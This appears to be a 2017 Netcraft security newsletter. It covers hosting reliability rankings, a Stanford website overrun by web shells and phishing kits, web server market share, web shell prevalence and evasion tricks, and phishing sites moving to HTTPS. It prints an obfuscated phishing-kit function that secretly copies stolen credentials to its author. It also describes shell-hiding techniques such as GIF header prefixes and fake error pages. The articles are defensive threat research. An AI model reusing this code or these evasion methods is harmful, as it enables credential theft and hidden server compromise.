Having trouble reading this email? Read online, Follow us on Twitter & Facebook, or Subscribe via RSS
Rank Performance Graph OS Outage
hh:mm:ss
Failed
Req%
DNS Connect First
byte
Total
1 Webair Linux 0:00:00 0.000 0.160 0.053 0.107 0.109
2 Swishmail FreeBSD 0:00:00 0.000 0.152 0.061 0.121 0.164
3 ServerStack Linux 0:00:00 0.000 0.130 0.063 0.126 0.126
4 Hivelocity Linux 0:00:00 0.000 0.168 0.085 0.169 0.169
5 GoDaddy.com Inc Linux 0:00:00 0.004 0.238 0.014 0.036 0.037
6 Hyve Managed Hosting Linux 0:00:00 0.004 0.096 0.062 0.128 0.128
7 Qube Managed Services Linux 0:00:00 0.004 0.150 0.063 0.126 0.126
8 www.choopa.com Linux 0:00:00 0.008 0.226 0.006 0.150 0.150
9 Memset Linux 0:00:00 0.008 0.152 0.062 0.440 0.570
10 Pair Networks FreeBSD 0:00:00 0.008 0.254 0.076 0.147 0.147

See full table

Four hosting companies responded successfully to all of Netcraft's requests during May: Webair, Swishmail, ServerStack and Hivelocity.

Webair had the lowest average connection time out of the four, and so took first place in May’s rankings. This is the first time the cloud hosting company's site has topped Netcraft's Most Reliable Hosting Company Sites ranking, but marks its fourth consecutive month in the top ten. Webair recently announced a partnership with Microsoft to offer Azure ExpressRoute, which creates a direct network connection between Webair and the Microsoft Cloud.

Swishmail's site has retained its second place position in Netcraft's ranking from April. Similarly to last month, Swishmail narrowly missed out on the top spot based on its average connection time despite having as many successful requests. The US-based company provides FreeBSD-based email and web hosting services.

ServerStack came in third, with a slightly longer average connection time than both Webair and Swishmail's site, but still no failed requests. ServerStack offers fully managed services which include software installation, proactive monitoring, automated backups, performance optimisation, troubleshooting, and virtualisation.

Hivelocity came fourth after responding successfully to all of Netcraft's requests. The hosting provider has three US-based data centres: two in Tampa, Florida and a third one in Atlanta.

Linux continues to be the predominantly used operating system, powering eight of the top ten sites. The only exceptions are Swishmail and Pair Networks which both run FreeBSD.

Netcraft measures and makes available the response times of around thirty leading hosting providers' sites. The performance measurements are made at fifteen minute intervals from separate points around the internet, and averages are calculated over the immediately preceding 24 hour period.

From a customer's point of view, the percentage of failed requests is more pertinent than outages on hosting companies' own sites, as this gives a pointer to reliability of routing, and this is why we choose to rank our table by fewest failed requests, rather than shortest periods of outage. In the event the number of failed requests are equal then sites are ranked by average connection times.

Information on the measurement process and current measurements is available.

Posted by Netcraft on 5th June, 2017 in Hosting, Performance

Stanford University has unwittingly demonstrated just how bad things can get once a website is compromised by a web shell.

Our story begins on 31 January 2017, when the website of the Paul F. Glenn Center for the Biology of Aging at Stanford University was compromised. Unfortunately, the only people who seemed to notice this at the time were other hackers, who subsequently exploited the compromise to deploy several phishing sites, hacking tools and defacement pages on glennlaboratories.stanford.edu over the following months.

During the January compromise, a hacker placed a rudimentary PHP web shell into the top-level directory of the website. The shell was named wp_conffig.php in an attempt to blend in with the rest of the WordPress software that the site uses. This naming scheme was evidently successful at avoiding detection by Stanford's website administrators, as the PHP shell was still accessible 4 months later:

This rudimentary PHP shell was installed in January and is still on the server at the time of writing. It allows attackers to upload files and execute arbitrary commands on the Stanford web server. No authentication is required, so literally anybody can use this page.

This rudimentary PHP shell was installed in January and was still on the server at the time of writing. It allowed attackers to upload files and execute arbitrary commands on the Stanford web server. No authentication was required, so literally anybody could have used this page.

While WordPress has a bad history with regard to phishing, it is worth pointing out that the Stanford site has been running the latest release of WordPress (4.7.5) since 20 April 2017, and so without further investigation, the original route of compromise is not apparent. However, with an anonymously accessible web shell on the server since January, further compromises were inevitable...

By 14 May 2017, a second web shell had been uploaded to the server. This was based on the WSO (Web Shell by Orb) script, which displays directory listings and offers several other hacking tools that can be used to crack passwords and gain access to databases. Again, the hacker tried to make this web shell harder to notice by calling it config.php.

The second web shell uploaded to the Stanford site has many more features than the first. This one can also be accessed without needing a password. The timestamps next to each file allow a likely timeline of events to be reconstructed.

The second web shell uploaded to the Stanford site has many more features than the first. This one can also be accessed without needing a password. The timestamps next to each file allow a likely timeline of events to be reconstructed.

The WSO shell makes it apparent that the Debian server is not running the latest version of PHP. While there might not have been any unpatched security vulnerabilities that were serious enough to allow compromise, it at least demonstrates a lack of attention to security.

Six minutes later, the hacker uploaded an HTML file named Alarg53.html. This simply displayed the message "Hacked By Alarg53":

The second hacker was keen to claim responsibility for the compromise.

The second hacker was keen to claim responsibility for the compromise.

Similar "Hacked By Alarg53" defacement pages can be found on dozens of other websites, which suggests the hacker is well versed at using web shells to compromise websites.

Several hours later, a hacker – possibly the same one – uploaded two more PHP scripts to the server. The first of these scripts was w3mailer.php, which can be used to send large amounts of spam – ideal for sending lots of phishing emails.

The PHP Emailer SMTP script by Predator. This can be used to send phishing emails from the compromised Stanford University web server.

The PHP Emailer SMTP script by Predator. This can be used to send phishing emails from the compromised Stanford University web server.

Incidentally, the PHP Emailer script contains the following obfuscated JavaScript, which is unwittingly executed whenever the page is accessed by the hacker who uploaded it.

This client-side code in the PHP Mailer script attempts to download and execute a remote JavaScript file. It is obfuscated to keep this fact secret from the hacker who uploaded the script.

This client-side code in the PHP Mailer script attempts to download and execute a remote JavaScript file. It is obfuscated to keep this fact secret from the hacker who uploaded the script.

When the code is de-obfuscated, it can be seen that it causes an externally-hosted JavaScript file to be downloaded; however, the site on which this third-party script is located is currently down. Nonetheless, it illustrates one of the ways in which the authors of these hacking tools can quickly find out where other hackers have deployed them. The author can then monetize the situation by selling the URL of the deployed tool, which will attract new hackers to the compromised server.

The de-obfuscated JavaScript shows how it attempts to load an externally hosted script.

The de-obfuscated JavaScript shows how it attempts to load an externally hosted script.

The other PHP script – promailer.php – was uploaded five minutes later. It provides similar functionality to the previously uploaded script, but does not contain any nefarious JavaScript.

This Pro Mailer V2 script is a safer choice for the hacker, as it does not execute JavaScript from external websites.

This Pro Mailer V2 script is a safer choice for the hacker, as it does not execute JavaScript from external websites.

The following day, an unknown hacker uploaded an archive named 1.zip into the top-level directory of the compromised Stanford website. This archive was unzipped on the server to instantly deploy a Chinese HiNet phishing site, designed to steal webmail credentials from customers of this Chunghwa Telecom internet service.

This may have been the first phishing site to be deployed on the compromised Stanford University website. It redirects victims to the real hinet.net website after it has stolen their credentials. It is possible that other phishing sites existed before this but were deleted by subsequent hackers.

This may have been the first phishing site to be deployed on the compromised Stanford University website. It redirects victims to the real hinet.net website after it has stolen their credentials. It is possible that other phishing sites existed before this but were deleted by subsequent hackers.

A few days later, on 21 May, a new hacker decided to leave his trace on the server by uploading another defacement page called TFS.html. This demonstrates that at least two separate hackers have compromised the server this month alone, possibly by making use of the hacking tools that already existed on it.

Another defacement page uploaded to the Stanford University site by a different hacker.

Another defacement page uploaded to the Stanford University site by a different hacker.

Another HiNet phishing site was also deployed on the compromised server later that day.

After another short lull in fraudulent activity, two more archives were uploaded on 23 May: i.zip and linkedin.zip. These were extracted to multiple locations to create several phishing sites that targeted users of Office365 and LinkedIn.

The Office 365 phishing site. It simply steals a victim's credentials before redirecting them to the real Office365 login page at login.microsoftonline.com.

The Office 365 phishing site. It simply steals a victim's credentials before redirecting them to the real Office365 login page at login.microsoftonline.com.

One of the LinkedIn phishing sites. Like the other phishing sites, it only attempts to steal a victim's username and password before redirecting them to the real site at https://www.linkedin.com/.

One of the LinkedIn phishing sites. Like the other phishing sites, it only attempts to steal a victim's username and password before redirecting them to the real site at https://www.linkedin.com/.

The following day, another archive – KC.zip – was uploaded to the compromised server. This contained a generic phishing kit that is designed to steal a victim's email address and password, without impersonating any particular brand.

The generic phishing site after it had been deployed on the Stanford server.

The generic phishing site after it had been deployed on the Stanford server.

Regardless of what is entered into the above form, the victim will always be told that there was a login error, and that they should go back and try again. This could cause victims to try submitting different username and password combinations, giving the attacker an even greater haul of stolen credentials that might work on other websites. Each time the form is submitted, the victim's email address and password is emailed to a pair of Gmail addresses.

The generic phishing kit is configured to send stolen credentials to the same pair of Gmail addresses as the LinkedIn phishing kit, which obviously suggests that they were uploaded by the same fraudster.

Yet another phishing kit – ileowosun.zip – was uploaded to the server on 27 May. This one impersonated a SunTrust Bank login form, but used a completely different set of email addresses to collect victims' account details. This suggests yet another fraudster could have been responsible for deploying this phishing site.

This convincing SunTrust Bank phishing site was deployed on 27 May, after Netcraft had alerted the Center's director.

This convincing SunTrust Bank phishing site was deployed on 27 May, after Netcraft had alerted the Center's director.

Interestingly, one of the PHP scripts in the SunTrust phishing kit contains the following function, which is rather more dubious than the comment and function name might suggest:

// Function to get country and country sort;
function country_sort(){
    $sorter = "";
    $array = array(114,101,115,117,108,116,98,111,120,49,52,64,103,109,97,105,108,46,99,111,109);
        $count = count($array);
        for ($i = 0; $i < $count; $i++) {
            $sorter .= chr($array[$i]);
        }
    return array($sorter, $GLOBALS['recipient']);
}

The array of integers declared in this function is decoded to yield the email address resultbox14@gmail.com. Phishing kit authors often use tricks like these to hide their own email addresses in their kits. This allows them to receive credentials from all future deployments of the kit, while letting other fraudsters do the hard work of finding compromised servers on which to deploy the kits. By disguising the author's "secret" email address within a legitimate-looking function, most fraudsters who deploy the kit are unlikely to delete or alter the nefarious code.

Interestingly, the KC.zip and ileowosun.zip phishing kits – as well as the directories they were unzipped into – were deleted from the server around 29 May. It is not clear who did this, but no other phishing kits or hacking tools were removed, which puts the finger of suspicion on a rival fraudster.

When a compromised server has become so infested with hacking tools and phishing kits, one ironic side effect is that other fraudsters may subsequently come along and remove the existing phishing content, thus protecting some potential victims. But of course, the general trend is for more kits to be deployed on the server, and indeed, also on 29 May, a second SunTrust phishing kit was uploaded.

What went wrong?

A single Stanford University website has ended up hosting several hacking tools that have likely been used by multiple hackers to deploy a similar number of phishing sites onto the server. Failing to notice and remove the hacking tools could well have compounded the problem by facilitating the more recent compromises.

Hosting providers – including universities – can receive an alerting service from Netcraft which will notify them whenever phishing, malware, or web shells are detected on their infrastructure. Organisations targeted by high volume phishing administered via web shells may trial Netcraft's Countermeasures service.

Note: Publication of this article was delayed until Stanford University had removed the aforementioned hacking tool scripts from the website.

Posted by Paul Mutton on 31st May, 2017 in Security

In the May 2017 survey we received responses from 1,814,996,345 sites and 6,404,290 web-facing computers. Although the total number of sites has fallen slightly, by 1.4 million since April, the number of computers has grown by 83,000.

Large shifts in site counts

Although it fared well in other metrics (see below), nginx suffered a massive 30% loss of hostnames this month. With a net loss of more than 100 million sites, its market share has fallen by 5.71 percentage points to 13.5%. The majority of the sites that disappeared were Chinese-language spam sites hosted at Amazon Web Services in the United States and Japan.

Meanwhile, Microsoft gained 79 million sites, which has taken its market share up to 49.1%. This is Microsoft's highest market share in the 22-year history of the Web Server Survey, and also reflects a significant change in fortunes over the past year: Last June, Apache had the largest market share of websites, but now Microsoft's share is more than twice as large as Apache's, which fell by a further 1.73 percentage points this month to 20.95%.

nginx leads active site growth

Despite the large loss of hostnames, nginx gained nearly a million active sites, which has taken its active sites share back above 20%. This suggests most of the 104 million hostnames it lost did not have distinct content, and therefore were of little interest to ordinary web users, despite the apparent size of the change.

Apache continues to lead the active sites market quite comfortably with a 45.6% share, although a loss of 1.4 million active sites has brought this down by 0.67 percentage points. nginx stays firmly in second place, with more than twice as many active sites as Microsoft.

nginx's computer growth continues unabated

nginx's consistent computer growth has continued, making it look ever more likely to overtake Microsoft later in 2017. Its gain of 48,500 computers – combined with Microsoft's loss of 6,000 – has reduced the difference in their market shares by nearly a whole percentage point.

nginx is now within 3.46 percentage points of Microsoft's share of 23.8%; but Apache also maintains a comfortable lead in this market – it increased its web-facing computer count by 28,800 this month, keeping Apache's share above 43%.

nginx pushing others out of the top million

nginx is also continuing to make strong progress amongst the top million websites, where it has been ahead of Microsoft for the past few years. It was the only major vendor to increase its presence this month, resulting in thousands of competing vendors' websites being pushed out of the top million. Apache suffered most, with 3,200 Apache-powered sites departing the top million, but it still leads this market with a 40.5% presence.

Apache has exhibited a slow and steady decline over the past several years. Coupled with nginx's consistent growth within the top million sites, the gap between the two is ever decreasing; however, it looks like it will be a good year or two until nginx seriously starts to threaten Apache's lead.

New nginx 1.13 mainline branch

nginx 1.13.0 was released on 25th April. This is the first release on the new, actively-developed 1.13.x mainline branch, adding bugfixes and new features to what was essentially the most recent stable version of nginx (1.12.0).

The most notable new feature in nginx 1.13.0 is its support for TLS 1.3, which aims to be the latest and most secure version of the Transport Layer Security protocol – although not many underlying crypto libraries actually offer TLS 1.3 yet. The TLS 1.3 specification has not yet been finalised, although the working draft has been sufficient for some servers and clients to implement it. For example, Mozilla's NSS cryptographic library – which is used by Firefox – enables TLS 1.3 support by default.

Microsoft IIS Administration API enters general availability

The Microsoft IIS Administration API that we mentioned in February is now Generally Available. The newest 1.1.0 release also facilitates management of the IIS Central Certificate Store, and includes an improved certificate API. These features are intended to make it easier to manage certificates across entire farms of web servers.

LiteSpeed enters the Amazon cloud

LiteSpeed Technologies is now a Technology Partner in the Amazon Web Services Partner Network (APN), coinciding with the release of the LiteSpeed Web Server AMI. This Amazon Machine Image is based on CentOS 7 with the LiteSpeed Web Server pre-installed. AWS users can now use this AMI to quickly deploy ready-to-use virtual machines that run the LiteSpeed Web Server in the cloud.

This month's Web Server Survey found 6.4 million websites running LiteSpeed, which encompasses 2.3 million active sites, more than 2 million unique domain names, and nearly 11,000 web-facing computers. One of the busiest sites currently using LiteSpeed is FanFiction.Net, which is an automated fan fiction archive.

Enter the Beaver

China saw a large number of new sites being served by the relatively unknown "Beaver" web server. Just over a million sites now exhibit the Beaver Server header, and these make use of more than 110,000 unique domain names – mostly under the .cn top-level domain. Most of the sites are hosted by Aliyun, which is China's largest cloud hosting provider, while the majority of the rest are hosted by other Chinese companies. Only a single Beaver site is hosted outside of China – this solitary instance is hosted in Japan, at Amazon's Tokyo AWS region.

The behaviour of these sites suggests that Beaver might not be an entirely new web server, but possibly an application based on Microsoft's HTTP Server API (HTTPAPI 2.0). This API lets C/C++ programmers receive HTTP requests and send responses without using Microsoft IIS. At least 38 million other websites also use HTTPAPI 2.0.

But most of the Beaver sites are currently inaccessible and display the following message: "According to the filing requirements of China's Ministry of Industry and Information Technology (MIIT), the website is accessible only if the ICP information is accurate and the ICP license is filed". An ICP Filing ("Bei'an") is required by all content providers in China before they can use hosting and CDN products, but this only allows them to be used for informational purposes. A Commercial ICP Licence ("Zheng") is required for any website that sells goods or services that directly generate revenue online.

Pepyaka making the web more friendly

The little-known Pepyaka web server has also been quietly growing. This server is used predominantly by Wix, an Israeli company that provides a friendly website building platform to millions of users. Wix provides free website hosting under the *.wix.com domain, or customers can get a free custom domain name when upgrading to one of Wix's yearly premium plans.

This business model has led to a high ratio of domains to hostnames amongst the Pepyaka install base. Wix-hosted websites alone account for 1.4% of all unique domain names in use on the web, which is no mean feat. All of these sites are hosted within the Amazon Web Services cloud, using Pepyaka version 1.11.3. This version number, coupled with Wix's previous uses of nginx, suggests that it could be based on last year's mainline version of nginx.

Total number of websites

Web server market share

DeveloperApril 2017PercentMay 2017PercentChange
Microsoft812,157,80844.71%891,000,72149.09%4.38
Apache412,130,52622.69%380,321,10620.95%-1.73
nginx349,092,97519.22%245,114,31713.50%-5.71
Google19,121,6841.05%20,033,2291.10%0.05
Web server market share for active sites

DeveloperApril 2017PercentMay 2017PercentChange
Apache78,489,47246.28%77,080,63845.61%-0.67
nginx33,176,49019.56%34,172,85520.22%0.66
Microsoft14,033,7798.28%13,225,1717.83%-0.45
Google12,048,0897.10%12,698,4257.51%0.41

For more information see Active Sites

Web server market share for top million busiest sites

DeveloperApril 2017PercentMay 2017PercentChange
Apache408,65440.87%405,44340.54%-0.32
nginx287,16528.72%290,03829.00%0.29
Microsoft100,59410.06%99,9479.99%-0.06
Google17,2441.72%16,5451.65%-0.07
Web server market share for computers

DeveloperApril 2017PercentMay 2017PercentChange
Apache2,751,54943.53%2,780,39343.41%-0.12
Microsoft1,532,15824.24%1,526,13523.83%-0.41
nginx1,255,76319.87%1,304,28420.37%0.50
Posted by Netcraft on 25th May, 2017 in Web Server Survey

Web shells are an overlooked aspect of cyber crime and do not attract the level of attention of either phishing or malware. Nevertheless, Netcraft found more than 6,000 web shells during April 2017, which works out at around 1 new shell installation every 5 minutes. When web shells first appeared, the limit of their functionality was to transfer files and execute arbitrary shell commands. However, the best engineered web shells now provide well presented, sophisticated toolkits for diverse crimes, with facilities for password cracking, privilege elevation, network reconnaissance, phishing, spamming and DDoS, not solely available through a web based user interface but also accepting commands as part of a botnet.

An example of the WSO shell

An example of the hugely popular and feature-rich WSO (Web Shell by Orb) shell.

A number of shells offer the creation of a botnet in as little as a click, launching standalone processes that either connect to a command and control server or listen for commands over an insecure TCP connection. Some allow performing port scans to find potentially exploitable services. Others enable fraudsters to schedule denial of service attacks. There are shells dedicated to sending bulk spam emails, testing stolen credentials against popular websites (such as PayPal or Amazon), cracking passwords, and automatically defacing websites. With such a wide array of powerful features, it is unsurprising how popular web shells are with cyber criminals.

The WSO shell offers both bind shell and back connect options. Selecting one of these options will launch a standalone process that will connect to or listen for a connection from a remote command and control server - an easy method for the creation of a botnet.

WSO offers both bind shell and back connect options. Selecting one of these options will launch a standalone process that will connect to or listen for a connection from a remote command and control server - an easy method for the creation of a botnet.

The prevalence of these backdoors allows easy—and potentially persistent—access to thousands of compromised machines. If the web shell is missed during the webmaster's cleanup after an attack, removing the original phishing or malware content will be in vain, as the fraudster can use the web shell to upload new malicious material, or re-purpose the machine as an accessory to alternative forms of cyber crime.

Port scanner options from a web shell

This shell allows a fraudster to port scan arbitrary hosts anonymously.

A web shell for sending spam

A web shell dedicated to sending spam emails in bulk.

Shell Detection Statistics

Phishing sites and web shells often go hand-in-hand. During April 2017, we detected that approximately 10% of IP addresses hosting phishing attacks were also home to web shells. This pairing is unsurprising, as many web shells give fraudsters an easy to use, all-in-one solution to deploy and spread their attacks. Some brands commonly targeted by phishing sites have significantly higher exposure to web shells than average, such as:

OrganisationPhishing Sites
with Web Shells
SunTrust Bank41%
OurTime39%
Navy Federal Credit Union38%
USAA35%
NetEase33%
Alibaba31%
DHL31%
Bank of America30%
British Telecom30%
NatWest30%
Capital One29%
Bank of Montreal28%
Wells Fargo27%
Yahoo25%
Chase Bank25%
Average (Large Brands)18%

The variation in web shell usage according to the targeted organisation highlights the diversity of fraudsters and their preferred targets and methods. Netcraft has seen a number of web shells bundled as part of phishing kits, meaning that certain phishing campaigns will automatically include a web shell hidden alongside the phishing content. These organisations with the highest exposure to web shells should be particularly worried, as any anti-phishing efforts could be rendered ineffectual by persistent reinfections enabled by web shells.

Geographically, the number of web shells tends to follow the size of the web hosting market in any given country. Looking at all the web shells found by Netcraft in April, 49% of infected servers were located in the USA, putting it firmly into first place. Trailing behind at a distant second is Germany, responsible for just under 5% of affected IP addresses.

Website owners should be wary of using hosting companies with web shell infestations on their networks. With web shells being used to send spam and participate in DoS attacks, service quality can be affected as shared infrastructure has to handle the additional load. Compromised servers distributing malware and spam can lead to IP addresses being blacklisted, preventing legitimate emails from being delivered even after the malicious activity has been stopped. Netcraft looked at the hosting companies most responsible for hosting web shells, by counting the number of unique IP addresses with at least one web shell detection in April as a percentage of the total infected IP addresses seen – the top 10 are listed in the table below:

RankHosting CompanyProportion of All
Web Shell IPs
1Endurance International Group6.50%
2GoDaddy6.09%
3OVH3.96%
4Hostinger3.12%
5Hetzner Online2.09%
6Amazon1.86%
7Athenix1.52%
8DigitalOcean1.37%
9InMotion Hosting1.33%
10=Host Europe Group1.18%
10=LiquidWeb1.18%
Protecting Shells

The criminal must defend his web shell against both the webmaster and other fraudsters seeking to usurp his position on the compromised machine. To this end, many shells offer password protection. Passwords are usually hardcoded within the script, and are used without an accompanying username or email identifier.

The reality of this threat is evident when considering the existence of web shells offering ‘shell finders’ – these perform automated scans of websites, probing a long list of potential web shell file paths. The list of paths covers common shell names and directories, as well as paths used by commonly exploited web applications and plugins. Some shells perform this scan against a remote host, while others augment a search of the local filesystem with an overwrite option – allowing a fraudster to lock out others by overwriting their shells with a copy of their own.

The shell finding feature of the R57 Shell

The R57 Shell offers tools to probe the compromised server for other web shell installations, with the option to remove or overwrite them.

Unbeknownst to some fraudsters, these web shells sometimes contain backdoors of their own. Some allow bypass of access controls on the web interface, regardless of changes to the password. Others will automatically attempt to "phone home", notifying the original shell authors of new installations which are then absorbed into larger bot nets. With the trend of remixing (or “recoding”) and rebranding web shells, there are many opportunities for web shell authors to introduce their own backdoors into entire families of related scripts.

Avoiding Detection

Web shell authors try a variety of tricks to avoid detection by other fraudsters, the webmaster himself, and by security companies like Netcraft. A particularly common ploy is that of fake error pages, used by some variants of the C99 web shell. These shells attempt to recreate the default Apache error pages, usually 404 Not Found or 403 Forbidden.

When viewed in a web browser, these fake pages can easily be mistaken for legitimate error messages. However, when compared side-by-side, discrepancies can be found by looking for incorrect or omitted version numbers, hostnames, URLs, and HTML titles. These fake error pages also contain hidden password fields, which provide access to the web shell: some variants simply set the background and border colours to match the page background, while others add JavaScript that reveals the password form when the port number is clicked.

A fake Apache 404 page

Some shells disguise themselves as default Apache error pages. In this example, there is a password input centered on the page, made invisible by CSS. Typing characters into the input reveals its location.

Another notable method for avoiding detection is prefixing the web shell scripts with small excerpts of image file headers – most commonly those from the GIF89a specification. When processed by the PHP interpreter, these bytes are ignored and passed through to the web browser, displaying the text “GIF89a”. Automated tools such as the open-source utility file use these magic bytes as a fingerprint to identify the file type, mistaking the malicious PHP script for an image.

An excerpt of web shell source code prefixed with a GIF image file header

The source code of this web shell is prefixed with GIF image file headers, to mask its identity. The file utility mistakenly identifies the script as a GIF image. With purported dimensions of 16,129 by 16,129 pixels, this image would require 250GB of memory to open!

Fraudsters also attempt to disguise web shell scripts in directory listings by using filenames that could easily be mistaken for legitimate files. For example, Netcraft found a large number of shells masquerading as a WordPress configuration file, wp-config.php. Some shells use this filename verbatim, whilst others will make minor alterations (e.g. wp-configs.php) and hide themselves amongst legitimate WordPress files. By naming shells in this way, it is easy for webmasters to miss these files when examining their servers after compromise.

These countermeasures could mean that phishing or malware attacks may soon resurface, thus it is vital that organisations looking to remove such fraudulent content also seek to remove the web shells that enable it, and fix whatever vulnerabilities allowed the shells to be there in the first place.

How to Protect Yourself?

The onus is on hosting providers, system administrators, and webmasters to ensure that their servers are secured against vulnerabilities that may allow attackers to upload shells to their systems. They should also be on the lookout for unexpected modifications to their web root, paying close attention to popular software packages such as WordPress , where shell scripts are easily disguised amongst benign files.

Hosting providers can receive an alerting service from Netcraft which will notify them whenever phishing, malware, or web shells are detected on their infrastructure. Organisations targeted by high volume phishing administered via web shells may trial Netcraft's Countermeasures service.

Posted by George Field on 18th May, 2017 in Around the Net, Netcraft Services, Security

The number of phishing sites making use of HTTPS has increased noticeably since January, coinciding with the introduction of a new feature in the Mozilla Firefox and Google Chrome web browsers.

Both Firefox and Chrome now display warnings when an unencrypted (HTTP) webpage contains a password field. This behaviour is intended to protect users from man-in-the-middle attacks, and also encourages the affected websites to start using secure HTTPS connections when handling sensitive data.

This German PayPal phishing site uses the unencrypted HTTP protocol, causing the latest version of Firefox to display an unmissable warning message when the user interacts with the login form.

This German PayPal phishing site uses the unencrypted HTTP protocol, causing the latest version of Firefox to display an unmissable warning message when the user interacts with the login form.

These warning messages could scupper many phishing sites: Most are served over unencrypted HTTP connections, and so another positive consequence of the new browser behaviour is that potential victims are less likely to fall for phishing attacks.

However, fraudsters may have quickly realised this, as there has been a dramatic increase in the number of phishing sites making use of HTTPS. If the new browser behaviour has driven this change — and the timing suggests it might have — then it may have also had the unintended side effect of increasing the efficacy of some phishing sites. Phishing sites that now use HTTPS and valid third-party certificates can appear more legitimate, and therefore increase the likelihood of snaring a victim.

Firefox 51 and Chrome 56 were the first stable browsers to flag HTTP websites as insecure if they contained password fields. Their release dates appear to coincide with the increase in HTTPS phishing sites.

Firefox 51 and Chrome 56 were the first stable browsers to flag websites as insecure if they contained password fields. Their release dates appear to coincide with the increase in HTTPS phishing sites.

Another plausible hypothesis is that many legitimate websites have migrated to HTTPS in response to the new behaviour in Firefox and Chrome. Phishing sites are often hosted on compromised websites, and so this would naturally cause the number of HTTPS phishing sites to increase accordingly; or it could be that some fraudsters are now targeting HTTPS websites in preference to HTTP sites.

While the majority of today's phishing sites still use the unencrypted HTTP protocol, a threefold increase in HTTPS phishing sites over just a few months is quite significant. Regardless of what caused this change, phishing sites that use the unencrypted HTTP protocol could still prove effective against some victims, as not all browsers share the behaviour implemented in Firefox and Chrome. In particular, Microsoft's Internet Explorer and Edge browsers do not yet display any warnings when users interact with insecure forms.

Posted by Paul Mutton on 17th May, 2017 in Security

Subscription Details

To Subscribe: Go to http://www.netcraft.com/about-netcraft/email-subscription/
To Unsubscribe: Go to http://www.netcraft.com/cgi-bin/unsubscription